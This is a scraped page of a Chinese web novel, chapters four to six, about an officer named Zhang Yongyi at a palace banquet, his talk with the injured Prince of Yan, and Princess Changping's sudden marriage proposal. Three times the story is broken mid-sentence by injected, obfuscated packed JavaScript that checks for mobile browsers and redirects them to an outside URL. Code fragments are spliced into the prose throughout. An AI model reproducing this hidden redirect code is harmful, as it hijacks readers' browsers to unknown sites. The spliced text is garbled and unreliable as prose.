d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887824|192089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 老头唆手指,“我神不神不知道,不然也不会被人寻仇至此,但寻常那些大夫,都是庸医无疑,除了太医院里的……” 义然歪头:“太医院里的哪位?” “算了——你这伤当时不重,处理得也及时,有些毒药残留是正常,我给你开几副药,先压制住再说。” “不能根治吗?” 老头继续撕着鸡肉,“能啊,但你个东北回来的武官,靠杀人吃饭的,我建议你还是别根治了。” “不是杀人……” 老头翻着白眼装作仔细在想,“没什么区别,杀自己人和杀异族人,都是杀人,不必区分。” 张永一无奈,“为何建议不根治?是需要什么很珍贵的药?还是……” 老头瞥着他手臂上的血痂,啃着鸡肉轻飘飘道:“什么都不用……就把这块肉剜掉不就好了么……” 义然一惊:“剜掉!” “所以嘛,我不建议,你要是有这个决心,休息三五个月,那也行……不过——” 张永一和义然对视一眼。 老头唆完手指郑重道:“你既然断了我的死路,把我领回来想给我生路,那就别嫌我赖上你,我给你治病,你保我安宁。” “能得神医入府,是家族的荣幸。” “别叫我神医了,老道有名有号。” “晚辈请教。” 老头端详张永一,满脸坦诚,不禁叹息:“算了,你给我换个名字吧,这样我躲得也心安些。” 义然道:“神医想叫什么?” “说了别叫神医!” “好的神医。” 老头再翻白眼。 张永一笑,自己收拾起碎落的血痂,“为先生入籍,有许多问题要冒昧请教——” “不用入籍,老道一直都是化隆城的黑户,也不想见天日,为奴为婢,随意可以。最好,你下次出征时带上我,老道还不想死在化隆。” 张永一讶异,旋即笑道:“先生放心,我定说到做到。” 简单收拾了伤口,义然带老头置办屋舍日用,张永一穿好了衣服,再往正房探望梁国长公主。祖母醒了,但此时有客,张永一在门外少立片刻,问过他不在时祖母的情况,正要告退,就见一五十多岁上年纪的妇人从正门出来,她有些发福了,但眉目清秀,神色间有几分与梁国公主的相像。 “络儿?” 张永一愣了片刻这才认出来,刚要行礼,宋国长公主就拉住了他,“络儿这么高了,要有三五年没见了吧,来让我好好看看。” 宋国长公主是梁国长公主是异母妹妹,听说宋国祖姨母的这桩婚事,就是梁国与病逝多年的邕国长公主一齐说定的,这些年来宋国跟着儿女常年在外,上回相见,张永一还只有十五六岁。 宋国很欣慰:“络儿长大了,成了顶天立地的男子汉,方才你祖母和我说起你,那叫一个自豪——快些进去吧,你祖母现在啊,是一刻也不能看不见你。” 果然,屋内传来了梁国的呼唤:“谁啊?你跟谁在说话?是络儿回来了吗?” 宋国拍拍他的肩膀,不期拍在了左臂的伤口上,张永一忍着疼,笑容自然地将宋国长公主送了出去,这才回到正屋。 “见到你宋国祖姨母?” “是。”张永一在火盆边拂去身上的寒意,这才坐到床沿。 “络儿,待会儿去了夜宴,记得替祖母给你元良王叔问好。” 张永一刚要笑着应是,忽然想起:“祖母,孙儿恐怕见不到郡王殿下。” 梁国想想,因着她自己出身不显,与陛下并不亲厚,张永一虽然是她的孙子,到底不是什么正经的皇亲国戚,靠着军功能参加上半场外臣宴就不错了,而元良郡王是宗室,于功业上没什么建树,他只能去下半场内臣宴,这的确要硬生生地错开来。 “也罢,到时候下帖子将元良请来便好,你很久没见过他了吧?他家的小娃娃既聪明又伶俐的,特别漂亮,你应该从未见过……” 张永一有了种不详的预感。 果然,梁国下一句的就是:“你年纪也不小了,可有什么心仪的姑娘?没有也无妨,化隆城里待嫁的姑娘数也数不过来,门第不要紧,就是婚事得快些定,子嗣是头等大事,最好明年的这个时候就让我抱上玄孙,这样哪怕是立时就木我也能瞑目了。” 4. 第四章 千山雪(四) 这是张永一第一次进畅春园,第一次入仪銮殿,却不是第一次见到永济帝,但再见的这眼,张永一惊诧地发现,小时候记忆里、还被父亲牵在手中的自己见过的那个青年有为、雄威难抵的君王,在短短几年里就老得不成样子。 他靠在龙椅上,或者是瘫在龙椅里,精神不济,又似是兴致缺缺,眼下横着乌青,脸色也有些蜡黄。他年轻时候的模样应当是极其俊朗的,五官标致又凌厉,不怒自威,帝王之意不言而喻,但这样的长相迫切需要一股气来撑着,失了这口气,他便会显得颓废又□□。 更显得刻薄寡恩。 张永一小心下拜,跪在他前头半步的是堂兄羽林卫千户张绰。 永济帝空洞的眼睛里落了些许神采,“哦,起来吧,张绰,让你弟弟上前,给朕看看。” 张绰小心起身,微侧开身示意张永一走上前去,遮在袖子里的手朝他比了个“三”,张永一便控制着步伐上前三步,在台阶前止步下拜。 “臣张络,拜见陛下,陛下万岁。” 永济帝神色松动,“站那么远作甚,上来。” 张永一应声,却稍稍偏头看向张绰,张绰面带笑容,还没来得及给他打手势,上头坐在永济帝身边的一个男人便笑着步下台阶,拉着张永一的胳膊,一级级地将人带到了最高一层。 “陛下,我说让你笑一笑,你瞧,又把孩子们吓住了。” 永济帝应是,这便扯了一个亲切却仍有距离的笑,对上张永一缓缓抬起的目光。 四目相对,张永一被那种积年日久的威势逼得再度低头。 那男人重新坐了回去,笑道:“张络,你祖母身体还好吧?陛下非常担心梁国长公主,不过听人说你家请了妙手孙芝娘子,便没再派太医去,怕叨扰了长公主。你小时候我见过你,以前觉得你和你母亲长得像,现在看来,你和你父亲就是一个模子里刻出来的……” 永济帝笑着反驳:“不对,应该说上半张脸像父亲,下半张脸像母亲。” 张永一轻声道:“祖母也是这样说的。” 眼前三个男人,连带着永济帝也齐声笑了出来。 “还得是陛下。” 永济帝鲜见地能这么稍微高兴一会儿,“张络,陆微给你取了字,叫‘永一’,可有什么含义?” “回陛下,陆将军说他随便取的。” 那个一直在活跃气氛的男人笑道:“陆将军这是有大寓意,要让你自己去悟呢。” 张永一欠身点头应下。 永济帝端了酒盏,不知想到了什么往事,适时地再度将心绪低落下去,“陆将军为国鞠躬尽瘁。” 另一男人连忙也举杯,“敬英雄。” 从头到尾都保持安静的一个男子也附和出声,“敬英雄。” 内监给张永一上了酒,待四人干了杯中酒,张永一这才一饮而尽,心中正想着如何开口提裘衣之事,就听永济帝放下酒盏,轻声笑道:“今天早上的事,你知道了吧。” 张永一的心“咯噔”一声,连忙下跪。 “跪什么,一场误会而已,朕从来没有收到过这么合心意的礼物。” 张永一不自主抬头,见他又端了杯子,似是要向他劝酒,又似是说完了这么肉麻的话着实尴尬,他端着酒杯,不添酒、也不喝酒,只安静了片刻,又提起即将垮下的笑让他起来,“去吧,去玩吧。” “臣告退。” 一直快退到了仪銮殿的正门,张永一这才敢问张绰,“方才陛下身边陪坐的那几位是?” 张绰拉他侧身隐入正门的阴翳里,“看见那位了,一直帮你说话的那位——” 张永一仔细望去,陪坐三人里笑容最多的便是他。 张绰道:“大理寺右寺丞卿茂山。” 见张永一一副恍然大悟又一脸茫然的样子,张绰笑着补充:“他有个孪生哥哥,南海道布政使卿伯鹤。” “居然是他们。” “是啊,他们也是极其有名的一对双胞胎兄弟,长得一模一样,一名澈,一名澄,取‘澄澈’意。” 张永一心中暗暗感叹。南海道布政使是封疆大吏,而大理寺右寺丞不过五品,这样几近天差地别的两个人居然是一对同胞兄弟。 “那位呢?” 顺着张永一手指的方向,张绰看去,“哦,那是英国公辛自宽,单名一个‘喾’字。” 张永一道:“我曾闻,升平末年唯一保住爵位岿然不动的便是英国公府——” “是啊是啊,那剩下这位,你可得好好认识认识。” “哦?” 张永一再度望去,正巧这沉默寡言的男子也抬头看来,他连忙避开视线,再看回去时,那人正侧着脸和永济帝说话。他似是有些醉了,眼神迷离而风姿特秀,他由永济帝亲自扶了一把,缓步走下台阶,行处若孤松之独立,静时仿玉山之将崩。 便在这般意料外的欣赏里,张绰赞叹的声音响起:“襄阳侯郇翾,陛下的姐姐辅国长公主的小叔子,陛下与陈皇后的长女晋国公主的公爹。” 张永一恍然。 张绰又补充道:“两年前、你刚走时他升的礼部尚书,现在也入阁了。” “襄阳侯的爵位不曾动过吗?” 张绰将声音压得更低:“那可是辅国长公主的夫家,你觉得能动吗?前任襄阳侯——也就是公主驸马,他去世前将请封世子的折子递给了朝廷,朝廷批复后,这才来了第二波逆党清算,故而襄阳侯府没因为清算夺爵,但辅国长公主自请上表将侯爵削到了伯爵,等到陛下登基,晋国公主下降,以门第略低不配尚主为由又升了回来。” 张永一点点头,刚想开口顺便问问,能让陛下“偏心”至此,抛去辅国长公主这层关系和他鹤立鸡群的俊逸面容,这襄阳侯郇翾是否也有什么过人之处,这时就见仪銮殿外阔步走入三五个人,为首的中年男人高冠深服,气势逼人,尤其是他被黑罩蒙住的那一只左眼,眼睛罩得住,杀意兜不住,周围一圈各自热络的达官显贵纷纷与之见礼,打不上照面的也都默默行礼,热闹的场面一度沉静下来。 张绰用胳膊肘一捅他,张永一连忙跟着堂兄一并朝此人行礼。 不用他问这气焰嚣张的男人姓甚名谁,那男人就朝高台之上的永济帝自报家门:“臣霍辄拜见陛下,陛下万岁万岁万万岁。” 今夜,张永一反复被时局人情冲击的心潮终于因为大将军霍辄的到来抵达了顶峰。 破义律、定方台、轮扫西蕃,眼前那个足够在大楚史书里浓墨重彩写出成千上万字卓著战功的男人,那个席卷了儿时每一个少年英雄梦的男人,就这么站在了自己眼前。 “永一?永一!” 张永一回过神,一回头发现张绰身边站着一温文尔雅的男子,他一身明黄色的锦袍就算在昏暗的角落里也熠熠生辉。张永一方才从山巅跌落谷底的心,重又被太子沈碣的突然出现拔到了天边。 太子拦住他们的大礼,他笑向沈绰道:“本宫有几句话想和永一说。” 张绰连忙后退。 张永一还是叉手一礼:“太子殿下,燕王——” 太子道:“嗯,斫儿今夜不会来了,他在东宫,一个人郁郁寡欢的,张千户得空能否代本宫去看看他?” 言及燕王,太子妥帖的笑容里终于露出了担心,“他十四岁就藩,一年到头也就回来十几日,在化隆没几个同龄的朋友,你与他年纪相仿,有同袍之谊,更有救命之恩,他有些话憋在心里,不肯对我们讲……” “臣明白,臣必会尽力。” 太子展颜,“那就有劳张千户了。元亨,你给张千户引路。” 张永一刚走上连接御花园和东宫的小道,便不自觉放慢了脚步。东宫之梅,若红光烛天,如万炬烜赫,与畅春园里的梅花是同样的品种,却无端开出了另一种征伐之意,尤其是穿过外围的红梅,开在最内一圈、被深雪压得枝桠低迷的蜡梅霍然出露眼前时,这种红刃白刀的兵戈血腥之气越发强烈。 “这便是东宫梅园……” 元亨听张永一喟叹,笑道:“是啊,这梅园始建于升平八年,由升平朝的昭文太子主持建造。我家太子殿下和西宫的陈王殿下也都很喜欢这些梅花,尤其是陈王,陈王殿下今年不过十四岁,却文采飞扬,已经为这片梅园赋了不少极好的文章,马上又要进封兖王……” “兖王?” 元亨听张永一反问,这才意识到自己说错了话,刚要解释,迎面传来了沈磐的声音:“就是霍夫人所生的沈礴,人人眼红的霍大将军的亲外甥,过了今年的十月才满十四,就要开府就藩去兖地了。” 她带着整片梅园里的脉脉香气和宛若神降于此的所有光辉走来。 张永一微愣,连忙给她行礼,元亨便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887825|192089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 退了下去。 见张永一低着头一声不问,沈磐忍不住:“你没听出有什么问题吗?” “还望公主指教。” 沈磐皱眉:“你是真不懂还是假不懂?” 张永一再拜:“臣十岁上,便被家中送去军中历练,常年不在化隆,对于化隆的这些事了解甚少。” 沈磐提着灯,上下打量他,“也难怪,我没怎么出过京,却少听京中谈论你这种人物,原来是这样。” 张永一忍不住挑眉抬眼,想知道“他这种人物”究竟是哪种人物,不过沈磐没有继续说,而是边提灯、边提裙,拾级而上,过了一会儿才轻声解释道:“国朝皇子,满十四岁就藩,满二十岁加冠,并封国、开府、纳妃、祭宗庙。沈礴还有十个月零二十五天才到十四岁,离二十岁冠礼还有整整六年,父皇这就等不及要给他加封,从陈王变成兖王,可见其如何得帝心。” 张永一轻声接话:“可晋封兖王后,便是就藩。” 沈磐驻足,回头盯着站在几级台阶下、坦荡无辜更兼困惑地抬头望自己的张永一,不禁被自己气笑,“你是真不知道啊!” “臣该知道什么?” 沈磐干脆正身直面张永一,“你的祖母是梁国长公主,那你好歹也算是皇亲吧?掰着指头算算,你还是我表侄呢,这皇家的一应事宜,你居然一点也不知道?你还混不混官场了?” 张永一语塞。 他本想说,他志不在官场,心里则想着这浑水缸似的官场他不混也罢,可真当他要这么和沈磐说,迎着沈磐难以置信的目光,他像是第一天发觉,自己的父母兄弟、旧友新朋,与大楚的官场都有千丝万缕的关系,而他是大楚的五品千户,也是官场中人。 沈磐眼见着张永一在自己跟前走了神,认栽地转身继续走:“算了算了,对牛弹琴,太无趣了。” 张永一一步三个台阶,箭似地追上沈磐,“望公主指点。” “本宫不想指点。”她脚步一停,指着半掩的房门,“哝,去吧,他独自一个人在里面。” 张永一望一眼黑黢黢的门缝,“殿下他——” “拜那些奸邪小人所赐,就在东风亭那儿,大雪地里,差点把腿给跪废了——” “雪地?” 沈磐讶然,旋即她明白,不禁冷笑:“外面是怎么说的,怎么说也没说他是大冬天跪雪地的吧。” 张永一呼吸一促,朝沈磐施礼,轻轻推开房门,跨了进去。 硕大的屏风割裂黑暗与光明,张永一越过不透光的屏风,这才看见深渊似的屋内,那孤独的一片微光原来是摆在窗下的一只炭盆。 燕王沈斫就枯坐在炭盆旁,腿上盖着厚厚的绒毯,背靠在椅子上。听见脚步声,他这才转过头,黑洞洞的一双眼睛映着炭盆的火色,莫名有了些虚弱的精神。 “永一?你怎么来了。” 张永一望着他的腿。 沈斫扯了一个笑:“哦,这个啊,没什么,我自己有分寸。” 张永一沉默地补上一个礼。 “外间有凳子,搬了来坐——不对,你在宫里不能呆太久,尤其是东宫。” “是太子殿下让我来的。” 沈斫玩笑:“你这话说得让人伤心啊。” “便是太子殿下没有让我来,我也会来的。” 这话会让人感到心流涌动,却也能让沈斫长长叹息:“我知道,但你不该来的。” 张永一不知该说什么,也不知道该看些什么,余光瞥见这面硕大的落地轩窗上树影一闪,雪影子开花似的砸在窗户上,随即便是细细簌簌的雪落之声、声声入耳。他蓦地感觉,这空旷的内室冷得可怕,分明盆中上好的炭火很旺,甚至哔哔啵啵地炸了几声响,窗缝也都仔细地掩好,这该是宁远边鄙多少年也感受不到的京城热烈,可他偏偏觉得冷。 他想到太子才说过的那句话,沈斫每年在京,也不过呆上十几日。 在这样的冷寂中呆满十几日。 张永一开口:“殿下何时回宁远?” “七日便走。” “不过完十五吗?” 沈斫听出了他话中一丝急迫意,“不了,宁远还有那么多将士,我要早些把朝廷的嘉奖给他们送去。” 顿了顿,他笑着补充:“你是第一个知道的,可千万别泄密哦。” 张永一心一紧。 5. 第五章 千山雪(五) “殿下你的腿……要好好养。” 沈斫一扯唇角,“我知道。” 屋内再度陷入沉默。 不知过了多久,窗上的树影花姿变换了千百个形态,沈斫似是熬不住这样的冷清,主动开口问:“那你呢?什么时候回宁远?” 张永一没法回答。 沈斫看着他的反应,心里就有了答案,“梁国姑姑只有你这么一个孙子,她上年纪了,离不了你,也受不了打击,你理该留在她身边尽孝,切莫留下一生的遗憾。” 他的声音如此平淡,却让人越尝越觉得苦涩难咽。 “殿下,你也不要留遗憾。” 一息。 两息。 三息。 沈斫眉梢轻扬,扭头望了过来。 “七日,殿下不觉得太短了吗?” 沈斫静静凝望他。 “一年三百六十五日,太子殿下还有长平公主,只有七日能看见你。他们要等上三百多天,才能换得一次与你相见。” 沈斫垂眼。 “因为只有七日,很多话都来不及说,舍不得多说,只怕浪费了这珍贵的每一分每一秒,但他们又怕累到你、打扰你休息。” 沈斫闭眼。 “永一,正因为时间这么珍贵,所以只有七日。” 张永一鼻子一酸。 “一年三百六十五日,只有七日需要他们来承受这种锥心的痛苦。” 张永一不敢问这痛苦从何而来,但他说道:“帮至爱之人一起承担这份痛苦,他们甘之如饴。” 沈斫摇头:“因为是至爱,所以我不忍。” 张永一眼圈一热。 “有时候没有我,他们会过得很好——” “不,他们不会——” “会的,永一,知道得越多,感情消耗得越多,越不能脱身、越难得解脱。” 他埋头,忽然笑了一声:“你看我大姐,我们的年纪差得最大,我们的话也最少,所以我们之间最自在。她会为我向父皇求情,会为我担心,但这份担心不会伤了她的自己的心,就算我不在了,她也能过好自己的日子,这就是非常好的姐弟情谊。” 他抬头望窗上疏影,“而磐磐她会嫁人,她会有自己的烦心事,二哥就更不用说了,他是太子,既要担宗庙又要扛社稷,他们都太累了。这种苦,只能我一个人吃啊,活到最后也只有我一个人,他们何必因为我吃这些莫须有的苦痛。” 他靠在椅背上,上望穹窿,“这确实是莫须有的苦痛。” 沈斫闭上眼。 张永一缄默。 良久,张永一问:“殿下觉得孤独。” “你也觉得,我来了化隆,反倒没有一个人守在宁远来得自在开朗吗?” 张永一凝眉,听他一声笑:“是,这里都是我的亲人,可我却觉得,这种孤独更难化解了。” 张永一刚要说话,沈斫忽然问:“永一,你家里有没有和你同龄的姊妹?” 张永一没有直接回答,反而道:“找一个人相伴一生,确实可以不那么孤独。” 沈斫的脑袋搭在椅背上,却歪着脸看他自言自语:“得一知己,相守白头,生当合衾,死亦同穴……” 沈斫转过脸,长长吐出一口气,张永一这才道:“有,不过都要比我小几岁,若留到了二十,大多也有了婚约……” “永一……” “嗯?” “算了,还是别连累你们了。” “殿下说什么?” 沈斫摇头,心里顿觉悲怆。 有时候,孤独能够吃人,会吃了他又吃了她,一生一世,也只会是他一个人。 “待会儿你出宫,回去帮我给梁国姑母问个好。” ** 张永一一推门,就见沈磐靠在门边,冻红的脸颊上挂着两道清泪。 “你们说的,我都听见了。” 张永一心中长叹,跨出门槛将门仔细阖上,忽然听沈磐边擦着眼泪边在他身后问:“张永一,你有婚约了吗?” 张永一呼吸一窒,手指紧紧扣上冰冷的门环,不敢回头轻易看沈磐的神色,只犹豫、猜疑、斟酌再三后慎重地回复她:“没有。” “那你娶我。” 张永一愣在原地,遏制不住这种震惊的催动,催动他倏地转身直面沈磐的眼泪。 这一眼,他才发现,原来遥远虚无的零碎幻梦里骄蛮灵动的长平公主,这一瞬便像是一捧握在他手心的雪,温度高了会化,握紧了又会散,稍稍一用力便要碎。她系的是绯红的罗裙,嘴唇上是鲜艳的胭脂,眼圈是红的、脸颊是红的、鼻尖也是红的,可张永一看着她,却觉得这般精神的姑娘却比桃花般的披肩上缝的一圈白狐绒还要怜弱。 “公……公主。” 张永一躲开沈磐直白执着的目光,咽着喉头干涩,有些局促地劝解道:“婚姻不是儿戏,臣……” 可他还没说完,余光瞥见沈磐的眼泪如同两串宝珠,伴着手中风灯里的微光,径直散了下来。霎时,他的所有局促都在沈磐死命压抑住的呜咽里化为泡影。 下意识地,张永一要去接沈磐手中提着的灯,手指突然碰到了她冰冷的手背,顿时就如被规训教条抽了一鞭,火辣辣地清醒过来。下一瞬,他还没来得及撤回的手背就落了一滴眼泪,不是热的,却比天上的飞雪要温暖得多。 沈磐也似被张永一的温度烫到了,手往袖子里缩了缩,又连忙背过身揩眼泪。 炽热过后,便是比冰天雪地还要过分的严寒冷寂。 沈磐偏头解释道:“他很愿意和你说心里话。” 张永一下意识地跟着沈磐的脚步,一起走入漆黑的回廊。 “在宁远,他还有别的知己吗?” 张永一来不及细想,沈磐又道:“他从小话就少,也没人愿意和他玩,大姐出嫁早,二哥忙,小时候他可喜欢三哥了,但三哥去得早——你不知道,母后有我们五个孩子,三哥从小就聪明过人,四岁就进书院启蒙,拜文正公、元辅柳曦既为师,文章武艺,他哪一样都是千万人里的第一名……” 沈磐的声音又哽咽起来:“后来他十五岁,大病一场……” 张永一从沈磐手中接过风灯,默默等她平复。 “张永一,他说他孤独——” 沈磐忍不住哭了起来。 张永一如遭锥刺。 他明白了沈磐这番鲁莽是为何故。 “公主,你们是至亲的姐弟,他若知道你为了他高兴,放弃自己的幸福,他必然会自责。” 沈磐边抹着眼泪边笑:“张永一啊张永一,你若是个姑娘就好了。” 张永一耳朵一热。 “不过你幸好不是,你若真是,他再伤心也要避你如蛇蝎,只求不去拖累你。幸亏你不是,他还有个人能说上话……” 风过长廊,寂寞重卷。 “张永一,你还回不回宁远?” 张永一喉头一哽。 沈磐转过身,望向他的一双眼睛里全是哀伤:“我听说梁国姑母又生了病,连夜请了辅国府的孙芝娘子?孙娘子是辅国长公主府上的人,也曾在太医院供职,后来又回到太医院修习,守在辅国府以备外城落钥后的城中公卿贵妇病需,她的医术是跟孙太医学的——” 说到这,沈磐的哀伤更稠:“孙太医有妙手回春之能,可天不假年,两日前病故,这便只有两日,父皇的身体突然也垮了下来,若他还在,想来沈斫的腿……” “殿下腿怎么了?” 听张永一着急,沈磐无奈:“没什么,就需要好好休养——” 她话一堵,过了半晌才自嘲苦笑:“怎么扯到这个了,唉,梁国姑母只有你一个孙子,她必然不会让你走的,你也要守在她身边尽孝,战场上刀剑无眼,总不能让白发人送黑发人。好吧,留下也好,长桫虽退,但没了陆微这样的老将,指不定要出什么岔子……若沈斫也能不去就好了。” 沈磐还在哀声自苦,就听廊下荡起了轻快欢腾的脚步声,一声声比廊上的雪还要欢快。风灯被夜风磋磨得奄奄一息,沈磐还看不清前路,就听稚子幼儿的喊叫声格外悦耳:“长平姑姑!” “仪明?” 廊道尽头一排灯光追着飞逐的孩子,这孩子还不到成年人的腰背,却比过廊疾风还要迅速,这两排侍灯的宫人便成了他身后的尾巴,越拖越长,廊下越来越吵。 沈仪明直接扑到了沈磐怀里,冲劲大得要将毫无准备的沈磐扑倒。张永一伸手一拦,轻触到沈磐的背即刻低头,也不等沈磐介绍或者这嗓门大得能将瓦上积雪震落的孩子自我介绍,便打了一个长揖,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887826|192089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 管不顾地送了过去。 沈仪明还抱着沈磐的腰不肯放手,奇怪地从她的怀里探出脑袋,朝着这莫名其妙的男子眨眼,“这谁啊?长得也不像五堂叔啊?” 沈磐这才要将沈仪明从自己身上扒拉下去,“这是张千户,你堂叔的好友。” 于是沈仪明离了沈磐,规规矩矩地向张永一回礼。一抬头,他两只星星眼里亮晶晶、饱含着善意,“我叫沈仪明,今年五岁啦,你叫什么?你今年几岁了——” 张永一一笑,刚要弯下身温和地接话,就见沈磐拉住见了活物就要凑上去稀奇一波的沈仪明,“仪明,你怎么一个人跑来东宫?你爹爹呢?你哥哥呢?” 沈仪明的目光还恋恋不舍地粘在张永一身上,“他们刚入宫,去仪銮殿见陛下啦,我想见长平姑姑,就自己来啦。” 说完,他又抱住了沈磐,黏糊糊地问:“姑姑,堂叔的病不重吧?还能抱我吗?” 沈磐揪一把他的脸蛋,“你都五岁了!还要我们抱?你堂叔伤了腿、站不起来,你可别闹他。” “啊!”沈仪明满脸惋惜,松了一只手,指着追上来的宫人手中捧着的木匣,“难怪爹爹临时找了一幅字帖,我还奇怪,堂叔是将军!大!将!军!将军怎么还要练字呢?原来是怕他无聊。” 沈磐抬头,见领头的两个内监各自捧了一只木匣,不禁惊讶:“一幅字帖?这么多?” 沈仪明“哒哒哒”跑回去,敲敲那只四四方方的木匣子,“不是不是,这是爹爹和哥哥早早给堂叔备好的礼物,爹爹请了南边最好的师傅,用了最好的料子,选了最好的模样!” 张永一听了那匣子里传来的空洞声,也不知放了什么东西,不重不轻,内监端着跑动时还有金属响。 沈磐扫一眼张永一,蹲下来捧着沈仪明热乎乎的脸蛋轻轻一挤:“好好好,东西好,心意也是顶好的,你堂叔在前面的演花殿,你亲自去送,他保准高兴。” “好!”沈仪明欢呼,一阵风似的又要跑没影。 沈磐拢起被沈仪明掀开的披风,一整晚都郁郁的脸上难得露出了一个疲惫却难得真心的笑:“他是我元良王兄的幺儿。” 张永一再望,已不见沈仪明的踪影。 ** “堂叔?堂叔?” 沈斫刚沉浸在不知怎样的一场梦里,霍然听见这样的呼唤,连忙用袖子将脸上的颓败失意抹得一干二净,就在沈仪明抱着两只木匣子从屏风后大剌剌闯进来时,他脸上刚好露出了疲惫与兴奋分寸拿捏得极其妥帖的笑意。 “仪明来了?” “堂叔!你好多了吗?看,这是我爹爹和哥哥为堂叔准备的贺礼——” 沈斫听见了那匣子里“咣当咣当”的响动,刚提起兴致,就见沈仪明将沉甸甸的匣子放在他脚边,蹲在脚下捣鼓东西,一抬头,火光映照下,他稚嫩的脸蛋上尽是藏不住也不需藏的喜悦,“堂叔!生辰快乐!” 沈斫心上刚堵住的窟窿眼里又渗出血来。 沈仪明忙低下头将隔板抽开,并未注意到他这年轻却疲惫不堪的堂叔眼中,究竟划过了怎样的凄凉。 今天是他的生日。 今天自然也是母亲的忌日。 沈仪明将东西托在手中,呈给他看,“爹爹听长平姑姑说,堂叔一直想要张属于自己的袖箭,爹爹带着我和哥哥在江南、江西寻访了好多师傅,用了最好的轻玄铁,设计了最好的样式,冬月初才打好——” 玄铁反射着火光,映在沈斫的眼睛里也是亮幽幽。 “还有这个,这对护腕,刚好与袖箭相配,堂叔你看这上面的鹰隼,是要祝堂叔‘云霄万里,鸢飞唳天’!正好堂叔在宁远建了大功,一鸣惊人,此后戴着护腕袖箭防了小人,普天之下人人都要传颂堂叔的美名!” 沈斫俯下身,一把将沈仪明拉到怀里。 蓄不住的眼泪就这么滔滔不绝地涌下来。 沈仪明道:“堂叔,我刚才看见长平姑姑偷偷抹眼泪了。” 沈斫不说话,只用手拦在他肩上,不让自己的苦泪洇湿了他满身的喜气。 “堂叔不哭,要好好养病,药再苦也要乖乖吃。哦对了,爹爹还找了两幅《快雪时晴帖》,一幅是唐代摹本,另一幅是升平朝余杭高僧从一法师的摹本,极得神妙,堂叔闲着无聊可用来消磨时间。” 6. 第六章 永夜灯(一) 上元仍远,街上花灯就已绚烂得不成样子。遨游龙灯、花树地灯、摇尾鱼灯、花篮风灯、飘带街灯,各式各样的灯盏将归家的一路装点得春风十里。山阴道上之目不暇接,也胜不过此时光景,只是刚出启明门时,张永一遇上了同样出宫的襄阳侯父子,父子两人的脸孔就如同直视金乌耀日后,在眼底烙下的深深印记般难以消散。 照镜子般的一对父子。 张永一控缰缓辔,不禁想到了自己的父亲母亲。他们的面容已经在岁月磨洗中逐渐模糊,但每次想起他们,这种熟悉的感觉都会让他无比心安。他觉得这很奇怪,脑中可以一闪而过千万张不同的面孔,光靠视力和记忆,他一下子辨不出谁是谁,却能凭着那熟悉的感觉一下子找到那些至亲至爱的人。 他记得这样的感觉。 “公子?公子?” 义然连叫两声,这才把张永一迷路的魂叫了回来。 “公子在想什么?” 张永一摇头:“没什么——居然又有这么多人。” 万景楼下朝着顶层琉璃灯比划的年轻人不知凡几,几乎将西北侧的这条宽街大道都给挤满了。 “哈哈,毕竟是万景楼嘛。对了公子,那老头改名了,要叫‘崖然’,就是‘而容崖然,而目冲然……’里的那个‘崖然’,听他说是因为他原来的名号里也有个山。” “你该不会要将‘冲然’、‘頯然’、‘阚然’全都搜罗起来吧?” 义然笑得见牙不见眼:“有何不可?” “这些可不是什么好名字。” “哪管呢,名字不过一个称呼,我与崖然同在一句古言之中,便是整整齐齐的一家人、没有血缘的亲兄弟——” 张永一笑:“才闹腾过,这就亲如手足了?他的年龄当你爷爷还差不多,你们该是亲如爷孙,这亲如手足一出,还不知你们谁占谁便宜。” “不管不管,崖然的的确确是有大本事的,我敬佩他。傍晚公子你入宫后,崖然去给长公主看过,说长公主身体并无恶疾,只是心病深笃,需要静养。” 听着,张永一才吊起来的心稳稳落下,随即又问:“他没说我身上的——” “公子放心,我全程在边上看着呢,不妥当的话半句也没有说。给长公主看过诊后,崖然可能看出长公主不想让你回东北,所以他让我问,他什么时候能够离开化隆。” 张永一神色凝重:“想离开化隆我确实有办法,只是他的身世不查清,恐怕难。” 义然叹气:“唉,是个黑户,却有这么高超的医术,看来只能去撬他的嘴巴了。不过公子,你有什么办法?你自己都不离了化隆,怎么能安全将他送走?” 想到燕王沈斫,张永一沉默不语。 ** “祖母,您怎么还没有休息?” “等你回来。” 张永一依旧在炉边烘热衣袍,这才坐到床边,“祖母,孙儿这次没见到元良郡王,但看见他家的小公子仪明了。” “仪明啊?”梁国眼前浮现沈仪明肉嘟嘟的脸,不禁笑了起来:“是个好孩子,他出生在南边,我也只见过他一回,和他父亲小时候一个样,人却鬼灵精怪得很,特别讨喜。不过,你怎么见到他的?” “孙儿应太子之邀去东宫探望燕王殿下,这便遇见了仪明,他带着郡王的礼物拜访长平公主和燕王。” 闻言,梁国面含惋惜,“哎啊,今有岁末宫宴,人人欢悦,我倒忘记了这些事。” “怎么了祖母?” “今天是燕王的生辰。” 张永一一怔,“在宁远的两年里,我从未听殿下提起过……” 